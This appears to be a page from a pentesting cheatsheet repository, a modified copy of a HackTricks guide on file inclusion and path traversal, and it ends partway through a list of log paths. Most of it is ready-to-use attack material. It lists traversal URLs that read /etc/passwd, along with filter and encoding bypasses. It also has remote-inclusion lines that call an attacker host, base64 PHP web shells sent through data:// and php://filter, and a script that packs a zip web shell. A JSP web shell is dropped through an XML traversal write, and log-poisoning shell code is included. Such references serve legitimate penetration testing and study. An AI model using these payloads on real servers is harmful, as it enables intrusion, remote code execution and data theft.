daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (45920B)


      1 ---
      2 title: "File Inclusion and Path Traversal"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/file-inclusion/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # File Inclusion and Path Traversal
     14 
     15 [Dds Rtps Security](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/dds-rtps-security.md)
     16 
     17 ## File Inclusion
     18 
     19 **Remote File Inclusion (RFI):** The application loads a file from a remote server. If the included resource is interpreted as code, an attacker can host and execute a payload. In PHP, URL-aware inclusion is **disabled by default** through `allow_url_include`.\
     20 **Local File Inclusion (LFI):** The application loads a local file.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     21 
     22 The vulnerability occurs when user input controls the file path loaded by the server.
     23 
     24 Relevant **PHP functions** include `require`, `require_once`, `include`, and `include_once`.
     25 
     26 A useful exploitation tool is [fimap](https://github.com/kurobeats/fimap).
     27 
     28 ## Blind - Interesting - LFI2RCE files
     29 
     30 ```python
     31 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
     32 ```
     33 
     34 ### **Linux**
     35 
     36 **Mixing several \*nix LFI lists and adding more paths I have created this one:**
     37 
     38 
     39 [File Inclusion Linux.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt)
     40 
     41 Try also to change `/` for `\`\
     42 Try also to add `../../../../../`
     43 
     44 A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
     45 
     46 ### **Windows**
     47 
     48 Merge of different wordlists:
     49 
     50 
     51 [File Inclusion Windows.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt)
     52 
     53 Try also to change `/` for `\`\
     54 Try also to remove `C:/` and add `../../../../../`
     55 
     56 A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
     57 
     58 ### **OS X**
     59 
     60 Check the Linux LFI list.
     61 
     62 ## Basic LFI and bypasses
     63 
     64 All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     65 
     66 ```text
     67 http://example.com/index.php?page=../../../etc/passwd
     68 ```
     69 
     70 ### traversal sequences stripped non-recursively
     71 
     72 ```python
     73 http://example.com/index.php?page=....//....//....//etc/passwd
     74 http://example.com/index.php?page=....\/....\/....\/etc/passwd
     75 http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
     76 ```
     77 
     78 ### **Null byte (%00)**
     79 
     80 Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
     81 
     82 ```text
     83 http://example.com/index.php?page=../../../etc/passwd%00
     84 ```
     85 
     86 This is **solved since PHP 5.4**
     87 
     88 ### **Encoding**
     89 
     90 You can use non-standard encodings such as double URL encoding:
     91 
     92 ```text
     93 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
     94 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
     95 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
     96 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
     97 ```
     98 
     99 ### HTML-to-PDF SVG/IMG path traversal
    100 
    101 Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read.<sup>[[3]](#references)</sup>
    102 
    103 - **Fingerprint the renderer**: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation.
    104 - **Inline SVG payloads**: `TCPDF::startSVGElementHandler()` reads the `xlink:href` attribute from `<image>` elements before running `urldecode()`. Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:
    105 
    106 ```text
    107 <img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
    108 ```
    109 
    110   TCPDF prepends `$_SERVER['DOCUMENT_ROOT']` to paths beginning with `/` and only later resolves `..`, so use either leading `../../..` segments or `/../../..` to escape the root after the prepend.
    111 - **Encoding to bypass naive filters**: Versions ≤6.8.2 only check for the literal substring `../` *before* decoding the URL. Sending `..%2f` (or `..%2F`) in the SVG or in a raw `<img src>` attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls `urldecode()`.
    112 - **Double-encoding for multi-stage decoding**: If user input is decoded by the web framework *and* by TCPDF, double-encode the slash (`%252f`). One decode turns it into `%2f`, the second decode in TCPDF turns it into `/`, yielding `/..%252f..` → `/../../../…` without ever showing `../` to the early filter.
    113 - **HTML `<img>` handler**: `TCPDF::openHTMLTagHandler()` contains the same order-of-operations bug, allowing direct HTML payloads such as `src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//..%252f..%252ftmp%252fsecret.png"` to read any locally reachable bitmap.
    114 
    115 This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (`isRelativePath()`), so during tests prioritise older `Producer` versions.
    116 
    117 ### From existent folder
    118 
    119 Maybe the back-end is checking the folder path:
    120 
    121 ```python
    122 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
    123 ```
    124 
    125 ### Exploring File System Directories on a Server
    126 
    127 The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:
    128 
    129 1. **Determine Directory Depth:** Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
    130 
    131 ```bash
    132 http://example.com/index.php?page=../../../etc/passwd # depth of 3
    133 ```
    134 
    135 2. **Probe for Folders:** Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:
    136 
    137 ```bash
    138 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
    139 ```
    140 
    141 3. **Interpret the Outcomes:** The server's response indicates whether the folder exists:
    142    - **Error / No Output:** The folder `private` likely does not exist at the specified location.
    143    - **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed.
    144 4. **Recursive Exploration:** Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.
    145 
    146 For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use:
    147 
    148 ```bash
    149 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
    150 ```
    151 
    152 ### **Path Truncation Technique**
    153 
    154 Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
    155 
    156 In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
    157 
    158 - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
    159 - When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
    160 - Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
    161 
    162 The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
    163 
    164 ```text
    165 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
    166 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
    167 ```
    168 
    169 ```text
    170 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
    171 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
    172 ```
    173 
    174 In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
    175 
    176 - **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
    177 - **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
    178 - **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
    179 
    180 When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
    181 
    182 **This vulnerability was corrected in PHP 5.3.**
    183 
    184 ### **Filter bypass tricks**
    185 
    186 ```text
    187 http://example.com/index.php?page=....//....//etc/passwd
    188 http://example.com/index.php?page=..///////..////..//////etc/passwd
    189 http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
    190 Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
    191 http://example.com/index.php?page=PhP://filter
    192 ```
    193 
    194 ## Remote File Inclusion
    195 
    196 In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
    197 
    198 ```python
    199 http://example.com/index.php?page=http://atacker.com/mal.php
    200 http://example.com/index.php?page=\\attacker.com\shared\mal.php
    201 ```
    202 
    203 If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:<sup>[[4]](#references)</sup>
    204 
    205 ```text
    206 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
    207 ```
    208 
    209 ## Exposed `.git` Repository (Source Disclosure)
    210 
    211 If the web server exposes `/.git/`, an attacker can often **reconstruct the full repository** (including commit history) and audit the application offline. This commonly reveals hidden endpoints, secrets, SQL queries, and admin-only functionality.<sup>[[5]](#references)</sup>
    212 
    213 Quick checks:
    214 
    215 ```bash
    216 curl -s -i http://TARGET/.git/HEAD
    217 curl -s -i http://TARGET/.git/config
    218 ```
    219 
    220 Dump the repository with `git-dumper`:
    221 
    222 ```bash
    223 uv tool install git-dumper
    224 git-dumper http://TARGET/.git/ out/
    225 ```
    226 
    227 Then recover the working tree:
    228 
    229 ```bash
    230 cd out
    231 git checkout .
    232 ```
    233 
    234 > [!TIP]
    235 > In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
    236 
    237 Another example **not using the `php://` protocol** would be:
    238 
    239 ```text
    240 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
    241 ```
    242 
    243 ## Python Root element
    244 
    245 In python in a code like this one:
    246 
    247 ```python
    248 # file_name is controlled by a user
    249 os.path.join(os.getcwd(), "public", file_name)
    250 ```
    251 
    252 If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**:
    253 
    254 ```python
    255 os.path.join(os.getcwd(), "public", "/etc/passwd")
    256 '/etc/passwd'
    257 ```
    258 
    259 It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):<sup>[[20]](#references)</sup>
    260 
    261 > If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
    262 
    263 ## Java List Directories
    264 
    265 It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).
    266 
    267 ## Top 25 parameters
    268 
    269 Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):<sup>[[18]](#references)</sup>
    270 
    271 ```text
    272 ?cat={payload}
    273 ?dir={payload}
    274 ?action={payload}
    275 ?board={payload}
    276 ?date={payload}
    277 ?detail={payload}
    278 ?file={payload}
    279 ?download={payload}
    280 ?path={payload}
    281 ?folder={payload}
    282 ?prefix={payload}
    283 ?include={payload}
    284 ?page={payload}
    285 ?inc={payload}
    286 ?locate={payload}
    287 ?show={payload}
    288 ?doc={payload}
    289 ?site={payload}
    290 ?type={payload}
    291 ?view={payload}
    292 ?content={payload}
    293 ?document={payload}
    294 ?layout={payload}
    295 ?mod={payload}
    296 ?conf={payload}
    297 ```
    298 
    299 ## LFI / RFI using PHP wrappers & protocols
    300 
    301 ### php://filter
    302 
    303 PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
    304 
    305 - [String Filters](https://www.php.net/manual/en/filters.string.php):
    306   - `string.rot13`
    307   - `string.toupper`
    308   - `string.tolower`
    309   - `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
    310     - Note that this filter has disappear from the modern versions of PHP
    311 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
    312   - `convert.base64-encode`
    313   - `convert.base64-decode`
    314   - `convert.quoted-printable-encode`
    315   - `convert.quoted-printable-decode`
    316   - `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
    317 
    318 > [!WARNING]
    319 > Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-php-filters).
    320 
    321 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
    322   - `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
    323   - `zlib.inflate`: Decompress the data
    324 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
    325   - `mcrypt.*` : Deprecated
    326   - `mdecrypt.*` : Deprecated
    327 - Other Filters
    328   - Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
    329     - `consumed`
    330     - `dechunk`: reverses HTTP chunked encoding
    331     - `convert.*`
    332 
    333 ```php
    334 # String Filters
    335 ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
    336 echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
    337 ## Same chain without the "|" char
    338 echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
    339 ## string.string_tags example
    340 echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
    341 
    342 # Conversion filter
    343 ## B64 decode
    344 echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
    345 ## Chain B64 encode and decode
    346 echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
    347 ## convert.quoted-printable-encode example
    348 echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
    349 =C2=A3hellooo=3D
    350 ## convert.iconv.utf-8.utf-16le
    351 echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
    352 
    353 # Compression Filter
    354 ## Compress + B64
    355 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
    356 readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
    357 # PHP wrapper names are case-insensitive, so variants such as "PhP://" also work
    358 ```
    359 
    360 > [!WARNING]
    361 > The part "php://filter" is case insensitive
    362 
    363 ### Using php filters as oracle to read arbitrary files
    364 
    365 [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.<sup>[[6]](#references)</sup>
    366 
    367 In the original post you can find a detailed explanation of the technique, but here is a quick summary:
    368 
    369 - Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
    370   - This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
    371 - The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
    372   - This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
    373 - The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
    374   - Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
    375   - When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
    376 - The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
    377   - And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
    378 
    379 In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).<sup>[[6]](#references)</sup>
    380 
    381 ### php://fd
    382 
    383 This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
    384 
    385 ```php
    386 echo file_get_contents("php://fd/3");
    387 $myfile = fopen("/etc/passwd", "r");
    388 ```
    389 
    390 You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
    391 
    392 ### zip:// and rar://
    393 
    394 Upload a Zip or Rar file with a PHPShell inside and access it.\
    395 In order to be able to abuse the rar protocol it **need to be specifically activated**.
    396 
    397 ```bash
    398 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
    399 zip payload.zip payload.php;
    400 mv payload.zip shell.jpg;
    401 rm payload.php
    402 
    403 http://example.com/index.php?page=zip://shell.jpg%23payload.php
    404 
    405 # To compress with rar
    406 rar a payload.rar payload.php;
    407 mv payload.rar shell.jpg;
    408 rm payload.php
    409 http://example.com/index.php?page=rar://shell.jpg%23payload.php
    410 ```
    411 
    412 ### data://
    413 
    414 ```text
    415 http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
    416 http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
    417 http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
    418 http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
    419 http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
    420 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
    421 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
    422 ```
    423 
    424 Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
    425 
    426 ### expect://
    427 
    428 Expect has to be activated. You can execute code using this:
    429 
    430 ```text
    431 http://example.com/index.php?page=expect://id
    432 http://example.com/index.php?page=expect://ls
    433 ```
    434 
    435 ### input://
    436 
    437 Specify your payload in the POST parameters:
    438 
    439 ```bash
    440 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
    441 ```
    442 
    443 ### phar://
    444 
    445 A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:
    446 
    447 ```php
    448 <?php
    449 $phar = new Phar('test.phar');
    450 $phar->startBuffering();
    451 $phar->addFromString('test.txt', 'text');
    452 $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
    453 $phar->stopBuffering();
    454 ```
    455 
    456 To compile the `.phar` file, the following command should be executed:
    457 
    458 ```bash
    459 php --define phar.readonly=0 create_path.php
    460 ```
    461 
    462 Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
    463 
    464 In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.<sup>[[17]](#references)</sup>
    465 
    466 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
    467 
    468 [Phar Deserialization Exploitation Guide](/hacktricks/pentesting-web/file-inclusion/phar-deserialization)
    469 
    470 
    471 [Phar Deserialization](/hacktricks/pentesting-web/file-inclusion/phar-deserialization)
    472 
    473 ### CVE-2024-2961
    474 
    475 It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**<sup>[[7]](#references)</sup>\
    476 Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
    477 It was possible to alloc chunks of specific sizes abusing more php filters.<sup>[[7]](#references)</sup>
    478 
    479 ### More protocols
    480 
    481 Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
    482 
    483 - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
    484 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
    485 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
    486 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
    487 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
    488 - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
    489 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
    490 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
    491 
    492 ## LFI via PHP's 'assert'
    493 
    494 Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
    495 
    496 For example, PHP code might be designed to prevent directory traversal like so:
    497 
    498 ```bash
    499 assert("strpos('$file', '..') === false") or die("");
    500 ```
    501 
    502 While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:
    503 
    504 ```plaintext
    505 ' and die(highlight_file('/etc/passwd')) or '
    506 ```
    507 
    508 Similarly, for executing arbitrary system commands, one might use:
    509 
    510 ```plaintext
    511 ' and die(system("id")) or '
    512 ```
    513 
    514 It's important to **URL-encode these payloads**.
    515 
    516 ## PHP Blind Path Traversal
    517 
    518 > [!WARNING]
    519 > This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.
    520 
    521 In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
    522 
    523 As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
    524 
    525 Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
    526 
    527 **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
    528 
    529 For the technical details check the mentioned post!
    530 
    531 ## LFI2RCE
    532 
    533 ### Arbitrary File Write via Path Traversal (Webshell RCE)
    534 
    535 When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
    536 
    537 Typical exploitation workflow:
    538 - Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
    539 - Determine web-exposed directories. Common examples:
    540   - Apache/PHP: `/var/www/html/`
    541   - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
    542   - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
    543 - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
    544 - Browse to the dropped payload and execute commands.<sup>[[8]](#references)</sup><sup>[[9]](#references)</sup>
    545 
    546 Notes:
    547 - The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
    548 - On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
    549 
    550 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
    551 
    552 ```xml
    553 <?xml version="1.0" encoding="UTF-8"?>
    554 <JMF SenderID="hacktricks" Version="1.3">
    555   <Command Type="SubmitQueueEntry">
    556     <!-- Write outside the intake folder into the webroot via traversal -->
    557     <Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
    558     <Data>
    559       <![CDATA[
    560       <%@ page import="java.io.*" %>
    561       <%
    562         String c = request.getParameter("cmd");
    563         if (c != null) {
    564           Process p = Runtime.getRuntime().exec(c);
    565           try (var in = p.getInputStream(); var out = response.getOutputStream()) {
    566             in.transferTo(out);
    567           }
    568         }
    569       %>
    570       ]]>
    571     </Data>
    572   </Command>
    573 </JMF>
    574 ```
    575 
    576 Hardening that defeats this class of bugs:
    577 - Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory.
    578 - Reject any path containing `..`, absolute roots, or drive letters; prefer generated filenames.
    579 - Run the writer as a low-privileged account and segregate write directories from served roots.
    580 
    581 ## LFI2RCE via Remote Inclusion and File Poisoning
    582 
    583 Explained previously, [**follow this link**](#remote-file-inclusion).
    584 
    585 ### Via Apache/Nginx log file
    586 
    587 If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
    588 
    589 > [!WARNING]
    590 > Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
    591 >
    592 > Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
    593 
    594 This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
    595 Other possible log paths:
    596 
    597 ```python
    598 /var/log/apache2/access.log
    599 /var/log/apache/access.log
    600 /var/log/apache2/error.log
    601 /var/log/apache/error.log
    602 /usr/local/apache/log/error_log
